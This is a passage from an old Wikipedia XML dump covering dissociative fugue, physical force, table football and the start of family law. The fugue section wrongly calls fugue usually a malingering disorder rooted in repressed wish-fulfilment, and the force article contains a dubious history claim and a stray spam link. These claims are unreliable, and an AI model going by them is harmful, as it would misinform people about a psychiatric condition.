It has been estimated that approximately 0.2 percent of the population experiences dissociative fugue, although prevalence increases significantly following a stressful life event, such as wartime experience or some other disaster&lt;ref name=&quot;Merck&quot;/&gt;.  Other life stressors may trigger a fugue state, such as financial difficulties, personal problems or legal issues.  Unlike a [[dissociative identity disorder]], a fugue is usually considered to be a malingering disorder, resolving to remove the experiencer from responsibility for their actions, or from situations imposed upon them by others. In this sense, fugues seem to be the result of a repressed wish-fulfillment.  Similar to dissociative amnesia, the fugue state usually affects personal memories from the past, rather than encyclopedic or abstract knowledge.  A fugue state therefore does not imply any overt seeming or &quot;crazy&quot; behaviour.

==Prognosis==
Fugues are usually brief and self-limiting, often ending after a short duration by their very nature, in particular once the stressor that caused the fugue has been sufficiently removed.  A person may simply &quot;wake up&quot; from their fugue activity and find themself surrounded by seemingly unknown people in an unfamiliar surrounding, wondering why or how they got there.  

Most people who suffer dissociative fugues regain most or all of their prior memories, although attempts to restore &quot;intra-fugue&quot; memories (those that occurred during the fugue state) are almost always unsuccessful.  Since fugues are usually brief, people tend to suffer few after-effects, although with longer more complex fugues, people may have trouble adjusting to their past life, particularly dependent on their intra-fugue behaviour.  For example, someone being charged with a crime whilst in a fugue may have serious consequences.

==In general and popular culture==
Non-psychologists more commonly use the term &quot;fugue state&quot; to refer to the state of mind attained by a gifted [[musician]] (or other [[artist]]) or [[athlete]] where the person attains a high degree of focus and attention to their art or actions.  This is also a dissociation from one's surroundings, to concentrate on the work at hand, and frequently euphoria or a mild &quot;high&quot;.  Other names for the same basic concept include:

* The mental state called &quot;[[Flow (psychology)|flow]]&quot;.
* Being ''in the zone''.
* [[Hyperfocus]]

==In fiction==
* ''[[Nurse Betty]]'': a [[2000 in film|2000]] [[comedy film]] depicting a waitress who experiences a fugue state from the stress of murder.

* The main character in ''[[Lost Highway]]'' can also be described as going through a fugue dissociative state.

* In the end of [[David Eddings]]' novel [[Regina's Song]], Twink's psychological breakdown is described as a fugue state.

*[[Siegfried Schtauffen]], a main character in the ''Soul'' series of [[fighting games]], goes through a dissociative fugue state following the unintentional murder of his father.  He convinces himself that it was not he who killed his father, and does not recall the truth until [[Soul Calibur mystical weapons|Soul Edge]] is sealed for the first time.

==References==
&lt;references/&gt;

[[Category:Abnormal psychology]]

[[nl:Dissociatieve fugue]]
[[pl:Fuga (psychiatria)]]
[[ru:Диссоциативная фуга]]</text>
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  <page>
    <title>Force</title>
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      <text xml:space="preserve">:''For other senses of this word, see [[force (disambiguation)]].''

In [[physics]], a '''force''' is an external [[cause]] responsible for any change of a [[physical system]].  For instance, a person holding a dog by a rope is experiencing the force applied by the rope on their hand, and the cause for its pulling forward is the force exercised by the rope.  The [[kinetic]] expression of this change is, according to [[Newton's second law]], [[acceleration]], but non-kinetic expressions such as [[deformation]] can also occur.  The [[SI]] unit for force is the [[newton]].

==Elementary concepts==
Force in its most primitive definition can be thought of as ''that which when acting alone causes an object to [[accelerate]]''. In a practical sense forces can be divided into two groups: [[contact]] forces and [[field (physics)|field]] forces. Contact forces require the physical contact of one object with another, such as a hammer striking a nail or the force exerted by a gas under pressure - gas produced by exploding gunpowder forces a heavy ball out of a cannon. Field forces on the other hand need no physical medium of contact. [[Gravity]] and [[magnetism]] are examples of such forces. However, fundamentally, all forces are field forces. The force of the hammer striking the nail in the previous example turns out to be a clash of the electric forces in both hammer and nail. Nevertheless it is appropriate in some cases to maintain these two classifications for ease of understanding.

==Quantitative definition==
In physics models, the ''point-like'' system is used, where objects are represented as one-dimensional points at their [[centre of mass]]. The only change the system can experience is a change of its [[momentum]] (its [[velocity]]).  Since the rise of the [[atomic theory]], any physical system has been considered in [[classical physics]] as composed of point-like systems called [[atom]]s or [[molecule]]s.  Therefore, all forces can be defined by their [[causality |effect]]; that is, by the change of [[movement]] they induce on point-like systems.  This change of movement can be quantified by the [[acceleration]] (the [[derivative]] of [[velocity]]).  The discovery by [[Isaac Newton]] that a given force will induce an acceleration in [[inverse proportion]] to a quantity called the ''[[mass]] of [[inertia]]'' or ''[[inertial mass]]'' which is independent of the speed of the system is [[Newton's Laws |Newton's second law]].  This law allows us to predict the effect of a force on any point-like system whose mass is known.  It is usually written as:

:'''F''' =  d'''p'''/dt = ''d''(''m''&amp;middot;'''v''')/dt = ''m''&amp;middot;'''a''' (in the case where ''m'' does not depend on ''t'')

where 
:'''F''' is the force (a [[vector (spatial)|vector]] quantity), 
:'''p''' is the momentum,
:''t'' is the time, 
:'''v''' is the velocity, 
:''m'' is the mass, and
:'''a'''=d&amp;sup2;'''x'''/dt&amp;sup2; is the acceleration, the second derivative with respect to ''t'' of the position vector '''x'''.

If the mass ''m'' is measured in [[kilogram]]s and the [[acceleration]] '''a''' is measured in [[metre per second squared|metres per second squared]], then the unit of force is kilogram × metre/second squared. This unit is called the [[newton]]: 1 N = 1 kg x 1 m/s&amp;sup2;.  

This equation is a system of three second-order [[differential equation]]s with respect to the three-[[dimension]]al position vector which is an unknown [[function (mathematics)|function]] of time.  This equation can be solved if '''F''' is a known function of '''x''' and some of its derivatives and if the mass ''m'' is known.  Morevover the [[boundary condition]]s are required; for example, the values of the position vector and '''x''' and the velocity '''v''' at the starting time, say ''t''=0.  

Of course, this formula is only useful if one knows the numerical values of '''F''' and ''m''.  The definition above is an [[implicit]] definition, arrived at as follows.  One defines a reference system (one [[litre]] of [[water]]) and a reference force (the [[gravity |gravitational]] force applied by the [[Earth]] on it at the altitude of [[Paris]]).  One takes Newton's second law for granted (one [[postulate]]s that it is true) and measures the acceleration induced by the reference force on the reference system.  This gives us a mass unit (1 kg) and a force unit (the older unit of 1 [[kilogram-force]] = 9.81 N).  Once this is done, one can measure any force by the acceleration it induces on the reference system and measure the inertial mass of any system by measuring the acceleration induced on this system by the reference force.  

Force is often considered a fundamental quantity in physics, but there are more fundamental quantities, such as [[momentum]] ('''''p''''' = mass '''m''' x [[velocity]] '''v''').  [[Energy]], measured in [[joule]]s, is still less fundamental than force and momentum, because it is defined as work, and work is defined in terms of force. The two most fundamental theories of nature - [[quantum electrodynamics]] and [[general relativity]] - do not contain the concept of force at all. 

Although not the most fundamental ''quantity'' in physics, force is an important basic mathematical concept from which other concepts, such as [[Mechanical work|work]] and [[pressure]] (measured in [[pascal]]s), are derived. Force is sometimes confused with [[stress (physics)|stress]].

==Types of force==
There are four known [[fundamental force]]s in nature. 
*[[strong nuclear force|Nuclear forces]] acting between subatomic particles
*[[Electromagnetism|Electromagnetic forces]] between electric charges
*[[weak nuclear force|Weak forces]] arising from radioactive decay
*[[Gravitational force]]s between masses
[[Quantum field theory]] accurately models the first three fundamental forces, but does not model [[quantum gravity]]. Quantum gravity on a large scale ''can'', however, be described by [[general relativity]].

The four fundamental forces describe every observable phenomenon including the many other forces observed such as: [[Coulomb's law|Coulomb's force]] (the force between [[electrical charge]]s), [[gravity|gravitational force]] (force between [[mass]]es), [[magnetic field|magnetic force]], [[friction]]al forces, [[impact force]], and [[tension (mechanics)|tension]], to name a few.

Forces can also be classified into [[Conservative force|conservative forces]] and nonconservative forces. Conservative forces are equivalent to the [[gradient]] of a [[potential]], and include [[gravity]], [[Electromagnetism|electromagnetic]] force, and [[Hooke's law|spring]] force. Nonconservative forces include [[friction]] and [[drag (physics)|drag]].

==Properties of force==
Because momentum is a vector, then force, being its time derivative, is also a vector - it has [[magnitude]] and [[direction]].

Forces can be added together using the [[parallelogram of force]]. When two forces act on an object, the resulting force, the ''resultant'', is the [[vector addition|vector sum]] of the original forces.  This is called the principle of [[superposition]]. The magnitude of the resultant varies from zero to the sum of the magnitudes of the two forces, depending on the angle between their lines of action.  If the two forces are equal, but opposite, the resultant is zero.  This condition is called [[static equilibrium]], with the result that the object remains at rest or moves with a constant velocity.

As well as being added, forces can also be broken down (or 'resolved'). For example, a horizontal force pointing northeast can be split into two forces, one pointing north, and one pointing east. Summing these component forces using vector addition yields the original force.  Force vectors can also be three-dimensional, with the third (vertical) component at right-angles to the two horizontal components.

==Forces in theory==
The total ([[Isaac Newton|Newtonian]]) force, in [[newton]]s, on an object at any given time is defined as the rate of change of the object's [[velocity]] multiplied by the object's [[mass]]:
:&lt;math&gt;\mathbf{F} = \lim_{T \rightarrow 0 } \frac{m\mathbf{v} - m\mathbf{v}_0}{T}&lt;/math&gt;
where 
:''m'' is the [[inertial mass]] of the particle (measured in [[kilograms]])
:'''v&lt;sub&gt;o&lt;/sub&gt;''' is its initial [[velocity]] (measured in [[metre per second|metres per second]])
:'''v''' is its final velocity (measured in metres per second)
:''T'' is the time from the initial state to the final state (measured in [[second]]s);
:''Lim T&amp;rarr;0'' is the limit as ''T'' tends towards zero.
Force was so defined to explain the effects of superimposing situations: if in one situation, a force is experienced by a particle, and if in another situation another force is experienced by that particle, then in a third situation, which (according to standard physical practice) is taken to be a combination of the two individual situations, the force experienced by the particle will be the [[vector (spatial)|vector]] sum of the individual forces experienced in the first two situations. This superposition of forces, and the definition of [[inertial frame]]s and [[inertial mass]], are the empirical content of [[Newton's laws of motion]].

There are other ways to look at the above definition of force. First, the mass of a body multiplied by its velocity is called its momentum, '''p''', so the above definition is equivalent to:

:&lt;math&gt;\textbf{F}={\Delta \textbf{p} \over \Delta t}&lt;/math&gt;

If '''F''' is not constant over &amp;Delta;t, then this is the definition of average force over the time interval. To apply it at an instant we apply an idea from [[calculus]]. If we graph '''p''' as a function of time, the average force will be the slope of the line connecting the momentum at two times. Taking the limit as the two times get closer together gives the slope at an instant, which is called the [[derivative]]:

:&lt;math&gt;\textbf{F}={d\textbf{p}\over dt}&lt;/math&gt;

Many forces are associated with a [[potential energy]] field. For instance, the gravitational force acting upon a body can be seen as the action of the [[gravitational field]] that is present at the body's location. The potential field is defined as that field whose [[gradient]] is equal and opposite to the force produced at every point:

:&lt;math&gt;\textbf{F}=-\nabla U&lt;/math&gt;

The derivative of force with respect to time is called ''[[yank (physics) |yank]]''. Higher order derivatives are sometimes used, but they lack names because of their rarity.

In most explanations of [[mechanics]], force is usually defined only implicitly, in terms of the equations that work with it. Some physicists, philosophers and mathematicians, such as [[Ernst Mach]], [[Clifford Truesdell]] and [[Walter Noll]], have found this problematic and sought a more explicit definition of force.

According to the [[special theory of relativity]], which is important if the speed of the body gets close to the [[speed of light]], the law of force is modified as follows. If we choose the [[coordinate system]] such that the body is moving along the &lt;math&gt;x&lt;/math&gt; direction, the relation between the force and the acceleration is

:&lt;math&gt;F_x = \gamma^3 m a_x \, &lt;/math&gt;

:&lt;math&gt;F_y = \gamma m a_y \, &lt;/math&gt;

:&lt;math&gt;F_z = \gamma m a_z \, &lt;/math&gt;

where
:&lt;math&gt;\gamma={1 \over {\sqrt{1-{{v^2} \over\ {c^2}}}}}&lt;/math&gt;
:&lt;math&gt;v \,&lt;/math&gt; is the [[velocity]] of the body
:&lt;math&gt;c \, &lt;/math&gt; is the [[speed of light]].

Note that &lt;math&gt;\gamma&lt;/math&gt; is undefined if the object's speed is equal to ''c'' because one then has to divide by [[zero (number)|zero]]. This is one reason most physicists believe an object with nonzero [[rest mass]] cannot be accelerated to the speed of light.

==Units of measurement==
The [[SI]] unit used to measure force is the [[newton]] (symbol N), which is equivalent to kg·m·s&lt;sup&gt;&amp;minus;2&lt;/sup&gt;.

=== Non-SI units of force and mass ===
The '''F'''=''m''&amp;middot;'''a''' relationship can be used with any consistent units ([[SI]] or [[CGS]]). If these units are not consistent, a more general form,  '''F'''=''k''&amp;middot;''m''&amp;middot;'''a''', can be used, where the constant ''k'' is a conversion factor dependent upon the units being used.

For example, in imperial engineering units, F is measured in &quot;[[Pound-force|pounds force]]&quot; or &quot;lbf&quot;, ''m'' in &quot;pounds mass&quot; or &quot;lb&quot;, and ''a'' in feet per second squared.  In this particular system, one needs to use the more general form above, usually written '''F'''=''m''&amp;middot;'''a'''/''g''&lt;sub&gt;c&lt;/sub&gt; with the constant normally used for this purpose ''g''&lt;sub&gt;c&lt;/sub&gt; = 32.174 lb&amp;middot;ft/(lbf&amp;middot;s&lt;sup&gt;2&lt;/sup&gt;) equal to the reciprocal of the ''k'' above.

As with the kilogram, the pound is colloquially used as both a unit of mass and a unit of force.  1 lbf is the force required to accelerate 1 lb at 32.174 ft per second squared, since 32.174 ft per second squared is the standard acceleration due to terrestrial gravity.

Another imperial unit of mass is the slug, defined as 32.174 lb.  It is the mass that accelerates by one foot per second squared when a force of one lbf is exerted on it.

When the standard [[gee]] (an acceleration of 9.80665 m/s&amp;sup2;) is used to define pounds force, the mass in pounds is numerically equal to the weight in pounds force.  However, even at sea level on Earth, the actual acceleration of free fall is quite variable, over 0.53% more at the poles than at the equator.  Thus, a mass of 1.0000 lb at ''sea level'' at the equator exerts a force due to gravity of 0.9973 lbf, whereas a mass of 1.000 lb at ''sea level'' at the poles exerts a force due to gravity of 1.0026 lbf.  The normal average sea level acceleration on Earth (World Gravity Formula 1980) is 9.79764 m/s&amp;sup2;, so on average at ''sea level'' on Earth, 1.0000 lb will exerts a force of 0.9991 lbf.

The equivalence 1 lb = 0.453&amp;nbsp;592&amp;nbsp;37 kg is always true, by definition, anywhere in the universe.  If you use the standard [[gee]] which is official for defining kilograms force to define pounds force as well, then the same relationship will hold between pounds-force and kilograms-force (an old non-SI unit is still used).  If a different value is used to define pounds force, then the relationship to kilograms force will be slightly different&amp;mdash;but in any case, that relationship is also a constant anywhere in the universe.  What is not constant throughout the universe is the amount of force in terms of pounds-force (or any other force units) which 1 lb will exert due to gravity.

By analogy with the slug, there is a rarely used unit of mass called the &quot;metric slug&quot;.  This is the mass that accelerates at one metre per second squared when pushed by a force of one [[Kilogram-force|kgf]]. An item with a mass of 10 kg has a mass of 1.01972661 metric slugs (= 10 kg divided by 9.80665 kg per metric slug).  This unit is also known by various other names such as the [[slug|hyl]], TME (from a German acronym), and mug (from metric slug).

Another unit of force called the [[poundal]] (pdl) is defined as the force that accelerates 1 lbm at 1 foot per second squared. Given that 1 lbf = 32.174 lb times one foot per second squared, we have 1 lbf = 32.174 pdl.
The [[kilogram-force]] is a unit of force that was used in various fields of science and technology. In 1901, the [[CGPM]] improved the definition of the kilogram-force, adopting a standard acceleration of gravity for the purpose, and making the kilogram-force equal to the force exerted by a mass of 1 kg when accelerated by 9.80665 m/s&amp;sup2;. The kilogram-force is not a part of the modern [[SI]] system, but is still used in applications such as:
*Thrust of [[jet engine|jet]] and [[rocket engine]]s
*Spoke tension of [[bicycle]]s
*Draw weight of [[Bow (weapon)|bows]]
*[[Torque wrench]]es in units such as &quot;meter kilograms&quot; or &quot;kilogram centimetres&quot; (the kilograms are rarely identified as units of force)
*Engine torque output (kgf&amp;middot;m expressed in various word orders, spellings, and symbols)
*Pressure gauges in &quot;kg/cm&amp;sup2;&quot; or &quot;kgf/cm&amp;sup2;&quot;

In colloquial, non-scientific usage, the &quot;kilograms&quot; used for &quot;weight&quot; are almost always the proper SI units for this purpose. They are units of mass, not units of force. 

The symbol &quot;kgm&quot; for kilograms is also sometimes encountered.  This might occasionally be an attempt to disintinguish kilograms as units of mass from the &quot;kgf&quot; symbol for the units of force.  It might also be used as a symbol for those obsolete torque units (kilogram-force metres) mentioned above, used without properly separating the units for kilogram and metre with either a space or a centered dot.

===Conversions===
Below are several coversion factors between various mesurements of force:
*1 kgf (kilopond kp) = 9.80665 newtons
*1 [[Slug (mass)|metric slug]] = 9.80665 kg
*1 lbf = 32.174 poundals
*1 slug = 32.174 lb
*1 kgf = 2.2046 lbf

==Forces in everyday life==
Forces are part of everyday life, with examples such as: 
* [[gravity]]: objects fall, even after being thrown upwards, or slide and roll down 
* [[friction]]: floors and objects that are not extremely slippery
* [[Hooke's law|spring force]], objects resist [[tensile stress]], [[compressive stress]] and/or [[shear stress]], objects bounce back.
* [[electromagnetic force]]: attraction of [[magnet]]s
* [[movement]] created by force: the movement of objects when force is applied.

==Forces in the laboratory==
===Founding experiments===
* [[Galileo Galilei]] used rolling balls to disprove the [[Aristotelian theory of motion]] ([[1602]] - [[1607]])
* [[Henry Cavendish]]'s [[torsion bar experiment]] measured the force of gravity between two masses ([[1798]])

===Instruments to measure forces===
* [[spring balance]]
* [[pivot balance]]
* forcemeter

==History==
Force was first described by [[Archimedes]]. 

==See also==
{{wikibookspar|FHSST Physics Forces|What is a force}}

* [[Fictitious force]]
* [[Fundamental force]]
* [[SI]]
* [[Electromagnetic jet]]
* [[Torque]]
* [[Force (Star Wars)]]
* [[Normal force]]
* [[Reaction (physics)]]

==References==
* {{cite book
 | last = Halliday | first = David
 | coauthors = Robert Resnick; Kenneth S. Krane
 | title = Physics v. 1
 | location = New York
 | publisher = John Wiley &amp; Sons
 | year = 2001
 | id = ISBN 0471320579
 }}
* {{cite book
 | last = Serway | first = Raymond A.
 | title = Physics for Scientists and Engineers
 | location = Philadelphia
 | publisher = Saunders College Publishing
 | year = 2003
 | id = ISBN 0534408427
 }}
* {{cite book
 | last = Tipler | first = Paul
 | title = Physics for Scientists and Engineers: Mechanics, Oscillations and Waves, Thermodynamics
 | edition = 5th ed.
 | publisher = W. H. Freeman
 | year = 2004
 | id = ISBN 0716708094
 }}

== External links ==
*[http://jumk.de/calc/force.shtml Calculation: force F -  English and American units to metric units]
*[http://calc.skyrocket.de/en/ Online Unit Converter - Conversion of many different units]
*[http://www.patbelford.com/gallery/web3d/education/forceworkpower/index.html Interactive demonstration of Force-Work-Power Relationship]
*[http://www.TaYloR.com]    §

[[Category:Force| ]]
[[Category:Introductory physics]]

[[ca:Força]]
[[cs:Síla]]
[[da:Kraft]]
[[de:Kraft]]
[[eo:Forto]]
[[es:Fuerza]]
[[et:Jõud (füüsika)]]
[[fa:نیرو]]
[[fi:Voima (fysiikka)]]
[[fr:Force]]
[[gu:બળ]]
[[he:כוח (פיזיקה)]]
[[hr:Sila]]
[[io:Forco]]
[[it:Forza (fisica)]]
[[ja:力]]
[[ko:힘]]
[[lv:Spēks]]
[[ms:Daya (fizik)]]
[[nl:Kracht]]
[[no:Kraft]]
[[pl:Siła]]
[[pt:Força]]
[[ru:Сила (механика)]]
[[simple:Force (physics)]]
[[sl:Sila]]
[[sr:Сила]]
[[sv:Kraft]]
[[ta:விசை]]
[[th:แรง]]
[[zh:力]]</text>
    </revision>
  </page>
  <page>
    <title>Table football</title>
    <id>10904</id>
    <revision>
      <id>41311193</id>
      <timestamp>2006-02-26T13:29:58Z</timestamp>
      <contributor>
        <username>Weregerbil</username>
        <id>700735</id>
      </contributor>
      <comment>rv vanity. Please cite sources</comment>
      <text xml:space="preserve">[[Image:Baby foot artlibre jnl.jpg|260px|right|thumb|Table football (Bonzini style table).]]
'''Table football''' is a table-top game based on [[football (soccer)]], and invented by [[Alejandro Finisterre]], an [[editor]] and [[poet]] from [[Galicia (Spain)|Galicia]], Spain. 

==Origins==
[[Alejandro Finisterre]] was injured during one of the fascist bombings of [[Madrid]] during the [[Spanish civil war]]. Seeing many children injured like himself in the hospital (i.e. unable to play [[football (soccer)|football]]), he thought of the idea, which was borne from the concept of [[table tennis]]. Finistere credits his friend Francisco Javier Altuna, a [[Basque people|Basque]] [[carpenter]], for making the first table football following the directions he gave him.
Although the invention was patented in 1937, Finisterre had to escape from the fascist ''coup d'état'' to [[France]], and he lost the papers of the patent in a storm.

Table football is also known in the US as '''Foosball''' (from the German ''Fußball'': literally &quot;football&quot; in the European sense, or &quot;soccer&quot; in American English). In German itself it's called ''Kicker'' or ''Tischfußball''. The Spanish for table football is ''futbolín''. In Argentina it is called ''metegol''. In France, the game is called ''Baby-foot''. In Turkey it's called ''langırt'', the onomatopoeic word describing the sound when playing. In Italy, its name is ''calcio balilla'', ''calcetto'' or ''biliardino''. In Chile, it goes by the name of ''taca-taca''. In Portugal, it goes by the name of ''matraquilhos'', or ''matrecos''. It is known as ''Jitz'' in some regions in Canada. In Bosnia, Croatia and Serbia, it goes under the name of ''karambol'' as well as ''stolni nogomet'' in Croatia only. In Bulgaria it is known by the name &quot;djaga&quot; or &quot;djagi&quot;

==The game==
[[Image:foos.png|thumb|left|Drawing of a Tornado (American) style table]]
Players attempt to use figures mounted on rotating bars to kick the ball into the opponent's goal. A ball may travel at speeds up to 75 mph in competition. Most of the time it is hard to even see the ball, it is more of a blur. The sport/game/simulation requires quick reflexes with a delicate touch using the player's fine tuned motor skills, control and knowledge.

The basics include 'passing' the ball, where you have the ball in your possession with one bar, and pass it to another bar, and 'shooting', where you find a hole in the defense and attempt to score.

The winner is determined when one team scores a predetermined number of goals, say 3 or 11. A two goal victory is most often required. In competition, every ball that enters the goal is counted, unless the player or players on the scoring team broke a rule during the play. Large events have referees that determine the infractions and penalties.

A foosball table can vary in size, but is typically about 4&amp;nbsp;[[foot (unit of length)|ft]] long and 2&amp;nbsp;ft wide. The table usually contains 8 rows of &quot;foos-men&quot;, which are plastic, metal, wooden, or sometimes carbon-fiber figures mounted on horizontal metal bars. Each team of 1, 2, or 3 human players controls 4 rows of foos-men.

The arrangement of the foosballers is standard. Looking from left to right on one side of the table, you see:
{| border=&quot;1&quot; cellpadding=&quot;5&quot; style=&quot;border-collapse: collapse;&quot;
|- bgcolor=&quot;#FF9999&quot;
|  Row 1 || '''Your goalie'''   || 1 foosman (''sometimes 3'')
|- bgcolor=&quot;#FF9999&quot;
| Row 2 || '''Your defense'''  || 2 foosmen
|- bgcolor=&quot;#9999FF&quot;
| Row 3 || Opponent's attack   || 3 foosmen
|- bgcolor=&quot;#FF9999&quot;
| Row 4 || '''Your midfield''' || 5 foosmen (''sometimes 4'')
|- bgcolor=&quot;#9999FF&quot;
| Row 5 || Opponent's midfield || 5 foosmen (''sometimes 4'')
|- bgcolor=&quot;#FF9999&quot;
| Row 6 || '''Your attack'''   || 3 foosmen
|- bgcolor=&quot;#9999FF&quot;
| Row 7 || Opponent's defense  || 2 foosmen
|- bgcolor=&quot;#9999FF&quot;
| Row 8 || Opponent's goalie   || 1 foosman (''sometimes 3'')
|}

Foosball is often played for fun in pubs, bars, workplaces, schools, and clubs with few rules. &quot;House rules&quot; often include a ban on spinning your foosmen, so one's hand must maintain continuous contact with the handle. And also the off-The-Feed rule, where if the ball is scored before it touches a player or bank the goal is given to the team who had been scored upon.

Foosball is also played in official competitions organized by a number of national organizations. Organized competition can be traced back to the 1940's and 50's in Europe. But the professional tours and bigtime money events began when the founding father of modern professional table soccer, Lee Peppard of Seattle Washington, USA announced a QUARTER MILLION DOLLAR TOUR in 1975. Peppard went on to award several million dollars in prize monies and since his Tournament Soccer Organization went out of business in 1981 several orgs and promoters have continued holding large purse professional table soccer events worldwide. An international organization named ITSF (International Table Soccer Federation) was established in August [[2002]] to bring together all of them, as well as organizing World Championships.

[[Image:foosball_garlando_aerial.jpg|frame|right|A Garlando style table with a game in progress]]
A vast number of different tables exist. The table brands used on the world tour and official ITSF tournaments are &quot;French-style&quot; Bonzini, &quot;American-style&quot; Tornado, &quot;Italian-style&quot; Roberto-Sport, &quot;Belgian-style&quot; Eurosoccer/Wood (Jupiter/ABC). Other major brands include Kicker, Garlando, Löwen-Soccer, Warrior, Lehmacher, Leonhart, Smoby and many more. There was also a 7-meter table created by artist [[Maurizio Cattelan]] for a piece called ''Stadium''. It takes 11 players to a side.

Differences in the table types have great influence on the playing styles. Most tables have one goalie whose movements are restricted to the goal area. On some of these tables the goalie becomes unable to get the ball once it is stuck out of reach in the corner; others have sloped corners to return the ball. Other tables have three goalies, one in the center and one in each corner to reach the ball so sloped corners aren't needed. Another major difference is found in the balls, which can be made of cork, plastic or even marble and metal, varying the speed of shots a great deal, as well as the &quot;grip&quot; between the man and the ball.

Foosball strategy varies greatly. With teams of one human each, it is impossible for each person to control all four rows of foosmen simultaneously.  Some players keep the left hand always on the goalie or defensemen and move the right hand among the other three rows.  More aggressive players may take up an attack with the offense and midfield, leaving the goalie unattended.

With practice, it is possible to learn very fast &quot;set-piece&quot; moves, including the &quot;snake&quot;, &quot;pull-shot&quot; and &quot;front-pin&quot;. The pull shot is where you position the ball near the top of the oppositions goal. Then you pull your bar, which moves the ball downwards, and you aim for the hole or corner that is no longer guarded. The snake and front-pin both involve pinning the ball, or clamping the ball with your men. That way one can sway either direction.

==Robots==
[[Robot]]s designed to play table football by roboticists at the [[University of Freiburg]] are claimed to be able to beat 85 percent of casual players. They use a camera from below a transparent table base to track the ball, and an electronic control system to control high torque motors to rotate and move the foosmen. Currently an expert player can beat the robot 10 games to 1. [http://www.newscientist.com/news/news.jsp?id=ns99996346]. [[Foosbot]] is another foosball robot that currently claims to have never been beaten by a human.

==Television and Film==
&lt;small&gt;Appearances of Foosball tables and play in feature films and television series&lt;small&gt;
*[http://www.imdb.com/title/tt0082676/ Long Shot (USA, 1981)] Feature movie of a Foosball Championships starring [[1970|70's]] [[teen idol]] [[Leif Garrett]]. Also features an &quot;over-the-top&quot; ''(&quot;Rainbow Shot&quot;)'' foosball stunt double closeup by pro Johnny Lott
*[[Il Postino]] (1994, [[Italy]]) A female character flirts with the protagonist while playing foosball.
*[[Dazed and Confused (film)]] (1993, USA) Features a long scene in a foosball and [[billiards]] parlor.
*[[Notting Hill (film)]] (1999, USA) A stored foosball table is visible in [[Hugh Grant|Hugh Grant's]] character's flat
* [[Friends]] (USA NBC 1994-2004).  &lt;small&gt;The show featured a Dynamo table in earlier seasons, and later a Tornado (Valley) brand table, the latter which is the standard competition table on the pro circuit in the USA.  The stars of the show were also reported to play the game frequently.  The foosball table is originally purchased in 1.12, &quot;The One With The Dozen Lasagnas,&quot; when [[Joey Tribbiani|Joey]] and [[Chandler Bing|Chandler]] purchase it instead of a kitchen table, and [[Monica Geller|Monica]] beats the boys at the game.  It is stolen in 4.02, and another (The Tornado with green playfield, black &amp; yellow men, and marbled sides) is purchased by Chandler in 4.07.  [http://www.friends-tv.org/faq.html#3.21 friends-tv.org's FAQ] claims a third table was used as a stunt table in 6.06, to depict a collapsed leg in the episode where Chandler fails to let Joey win at the game.  The table is destroyed by Monica in the series finale, 10.18, The Last One, in order to rescue two pet fowl, Chick Jr. and Duck Jr, who were lost in the table by Joey. Other episodes that feature the table are 2.16, The One Where Joey Moves Out, and The One with the Prom Video with guest star [[Tom Selleck]].&lt;/small&gt;
* [[Cheers]] &quot;Achilles Hill&quot; (Season 9, 1/10/91) [[Carla Tortelli|Carla]] believes the foosball table is possessed.

* [http://www.foosmovie.com/ Foosball Movie Documentary] In progress.

==See also==
* [[Sport]]
* [[Subbuteo]]
* [[Table hockey]]
* [[Air hockey]]

==External links==
International and national federations
*[http://www.table-soccer.org/ International Table Soccer Federation]
*[http://www.britfoos.com/ British Foosball Association]
*[http://www.francebabyfoot.com/ French table-soccer federation]
*[http://www.dtfb.de/ German table-soccer federation]
*[http://www.bordfodbold.dk/ Danish table-soccer federation]
*[http://www.vifa.com/ VIFA, the main North American federation]

General sites
*[http://pub86.ezboard.com/bfoosball6358 EZ-Board Foosball - A discussion forum on foosball frequented by tournament and recreational table soccer players]
*[http://www.fooswatch.com/ Fooswatch.com - a foosball directory, foosball playing locations worldwide]
*[http://foosworld.com/ Foosball website with tournament dates, forums, and stats]
*[http://www.foosball.com/ foosball.com, American site with rules, tricks, results]
*[http://www.foosballheaven.com/ foosballheaven.com, American site, original host of rec.sport.table-soccer usenet FAQs]
*[http://www.insidefoos.com/ Inside Foos, American site, known for sports video of pro tournaments with color commentary]
*[http://www.foosworld.com/ Foosworld serves the Ohio and Indiana foos communities]

Local leagues
*[http://www.calcetto.co.uk/ Calcetto International League]
*[http://www.warwickfoos.co.uk/ Warwick University Table football Society]
*[http://www.coloradofoosball.com/ Colorado Foosball]
*[http://www.nycfoosball.com/ New York City Foosball]
*[http://www.safoos.com/ San Antonio Foosball]

Videos
*[http://gprime.net/video.php/wickedfoosballshot &quot;Wicked Foosball Shot&quot;]
*{{google video|7163168983627084545|Foosball}}
*[http://www.informatik.uni-freiburg.de/~kiro/english/index.html KiRo the Foosball Robot]
*[http://www.boreme.com/boreme/funny-2004/tablefootball-skills-p1.php Extreme foosball skills with slow-motion replays]
*[http://www.imdb.com/title/tt0082676/ Long Shot (1981) Feature movie with over-the-top foosball stunt double closeup by pro Johnny Lott]

[[Category:Ball games]]
[[Category:Indoor sports]]
[[Category:Tabletop games of physical skill]]

[[de:Tischfußball]]
[[es:Futbolín]]
[[fr:Baby-foot]]
[[gl:Futbolín]]
[[hr:Stolni nogomet]]
[[it:Calcio balilla]]
[[nl:Tafelvoetbal]]
[[pt:Totó]]
[[ru:Кикер]]
[[uk:Кікер]]</text>
    </revision>
  </page>
  <page>
    <title>Family law</title>
    <id>10905</id>
    <revision>
      <id>41619042</id>
      <timestamp>2006-02-28T15:39:33Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">:''For the television drama, please see [[Family Law]]''
{{FamilyLaw}}
'''Family law''' is an area of the [[law]] that deals with [[family|family-related]] issues and domestic relations including, but not limited to: 
*the nature of [[marriage]], [[civil union]]s, and [[domestic partnership]]s;
*problems during the marriage including [[spousal abuse]], [[legitimacy (law)|legitimacy]], [[adoption]], [[child abuse]], and [[child abduction]]
*the termination of the relationship and ancillary matters including [[divorce]], [[annulment]], [[property settlement]]s, [[alimony]], and [[parental responsibility (access and custody)|parental responsibility]] orders (in the [[United States]], [[child custody]] and [[contact (law)|visitation]], [[child support]] awards).

This list is by no means dispositive of the potential issues that come through the [[family court]] system. In many [[jurisdiction|jurisdictions]] in the United States, the family [[court]]s see the most crowded [[docket|dockets]]. [[litigant|Litigants]] representative of all [[social class|social]] and [[economic class]]es are parties within the [[judicial system|system]]. Because the family courts are notoriously underfunded and see a relatively large proportion of economically dependent litigants, a common criticism levied is that the system inherently prejudices the needs of these disadvantaged parties. 

